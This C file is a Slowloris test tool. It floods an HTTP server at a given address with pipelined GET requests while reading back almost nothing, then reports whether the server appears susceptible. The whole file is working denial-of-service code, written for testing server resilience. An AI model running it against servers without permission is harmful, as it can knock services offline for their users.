blob: b8a931e797c3a910d0b7a36d8f2ef4c15ea6bc7b [file] [log] [blame] [raw]
/*
Copyright 2019, Boaz Segev
License: ISC
License limitations: May only be used for security testing and with permission
of target device.
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <ctype.h>
#include <errno.h>
#include <limits.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/mman.h>
#include <time.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <unistd.h>
/* *****************************************************************************
Helper functions
***************************************************************************** */
#define ASSERT_COND(cond, ...) \
do { \
if (!(cond)) { \
fprintf(stderr, __VA_ARGS__); \
perror("\n\terrno"); \
exit(-1); \
} \
} while (0)
/** Opens a TCP/IP connection using a blocking IO socket */
static int connect2tcp(const char *address, const char *port);
/** Waits for socket to become available for either reading or writing */
static int wait4fd(int fd);
/** Waits for socket to become available for reading */
static int wait4read(int fd);
/** Waits for socket to become available for reading */
static int wait4write(int fd);
/* *****************************************************************************
Main attack function
***************************************************************************** */
#define WAIT_BEFORE_EXIT 0
#define USE_PIPELINING 1
#define MSG_PER_MTU 18
#define MSG_LEN 27
#define ATTACK_LIMIT (1 << 16)
#define PIPELINED_MSG_LEN (MSG_LEN * MSG_PER_MTU)
const char HTTP_REQUEST[] = "GET / HTTP/1.1\r\nHost:me\r\n\r\n"; /* 27 chars */
char HTTP_PIPELINED[PIPELINED_MSG_LEN]; /* pipelined requests in MTU */
int main(int argc, char const *argv[]) {
ASSERT_COND(argc == 3,
"\nTo test HTTP/1.1 server against Slowloris, "
"use: %s addr port\ni.e.:\t\t%s localhost 80",
argv[0], argv[0]);
for (size_t i = 0; i < MSG_PER_MTU; ++i) {
memcpy(HTTP_PIPELINED + (i * MSG_LEN), HTTP_REQUEST, MSG_LEN);
}
const char *msg = USE_PIPELINING ? HTTP_PIPELINED : HTTP_REQUEST;
const size_t msg_len = USE_PIPELINING ? PIPELINED_MSG_LEN : MSG_LEN;
signal(SIGPIPE, SIG_IGN);
int fd = connect2tcp(argv[1], argv[2]);
time_t start = 0;
time(&start);
ASSERT_COND(fd != -1, "\n ERROR: couldn't connect to %s:%s", argv[1],
argv[2]);
size_t counter = 0;
while (wait4write(fd) == 0 && counter < ATTACK_LIMIT) {
size_t buf;
++counter;
if (write(fd, msg, msg_len) == 1)
break;
if ((counter & 3) == 0)
read(fd, &buf, 1); /* read a single byte at a time */
}
time_t end = 0;
time(&end);
if (counter == ATTACK_LIMIT) {
fprintf(
stderr,
"DANGER: a single slowloris client attacker sent %zu requests and only "
"read %zu bytes... the target is likely suseptible to an attack.\n",
counter * (msg_len / MSG_LEN), (counter >> 2));
} else {
fprintf(
stderr,
"Passed: a single slowloris client attacker sent %zu requests and read "
"%zu bytes... the target appears to have mitigated the attack.\n",
counter * (msg_len / MSG_LEN), (counter >> 2));
}
fprintf(stderr, "Attack took %zu seconds. %s\n", (size_t)(end - start),
((WAIT_BEFORE_EXIT) ? "Press enter to finish" : ""));
if (WAIT_BEFORE_EXIT)
getchar();
close(fd);
return counter == ATTACK_LIMIT;
}
/* *****************************************************************************
Helper functions - implementation
***************************************************************************** */
/** Opens a TCP/IP connection using a blocking IO socket */
static int __attribute__((unused))
connect2tcp(const char *address, const char *port) {
/* TCP/IP socket */
struct addrinfo hints = {0};
struct addrinfo *addrinfo; // will point to the results
memset(&hints, 0, sizeof hints); // make sure the struct is empty
hints.ai_family = AF_UNSPEC; // don't care IPv4 or IPv6
hints.ai_socktype = SOCK_STREAM; // TCP stream sockets
hints.ai_flags = AI_PASSIVE; // fill in my IP for me
if (getaddrinfo(address, port, &hints, &addrinfo)) {
// perror("addr err");
return -1;
}
// get the file descriptor
int fd =
socket(addrinfo->ai_family, addrinfo->ai_socktype, addrinfo->ai_protocol);
if (fd <= 0) {
freeaddrinfo(addrinfo);
return -1;
}
int one = 1;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
errno = 0;
for (struct addrinfo *i = addrinfo; i; i = i->ai_next) {
if (connect(fd, i->ai_addr, i->ai_addrlen) == 0 || errno == EINPROGRESS)
goto socket_okay;
perror("Connect...");
}
freeaddrinfo(addrinfo);
close(fd);
return -1;
socket_okay:
fprintf(stderr, "connection okay\n");
freeaddrinfo(addrinfo);
return fd;
}
/** Waits for socket to become available for either reading or writing */
static inline int wait__internal(int fd, uint16_t events) {
errno = 0;
int i = 0;
do {
struct pollfd ls[1] = {{.fd = fd, .events = events}};
i = poll(ls, 1, 1000);
if (i > 0) {
if (ls[0].revents == POLLHUP || ls[0].revents == POLLERR ||
ls[0].revents == POLLNVAL) {
errno = EBADF;
return -1;
}
return 0;
}
if (i == 0) {
errno = EWOULDBLOCK;
return -1;
}
switch (errno) {
case EFAULT: /* overflow */
case EINVAL: /* overflow */
case ENOMEM: /* overflow */
case EAGAIN: /* overflow */
return -1;
}
} while (errno == EINTR);
return -1;
}
/** Waits for socket to become available for either reading or writing */
static __attribute__((unused)) int wait4fd(int fd) {
return wait__internal(fd, POLLIN | POLLOUT);
}
/** Waits for socket to become available for reading */
static __attribute__((unused)) int wait4read(int fd) {
return wait__internal(fd, POLLIN);
}
/** Waits for socket to become available for reading */
static __attribute__((unused)) int wait4write(int fd) {
return wait__internal(fd, POLLOUT);
}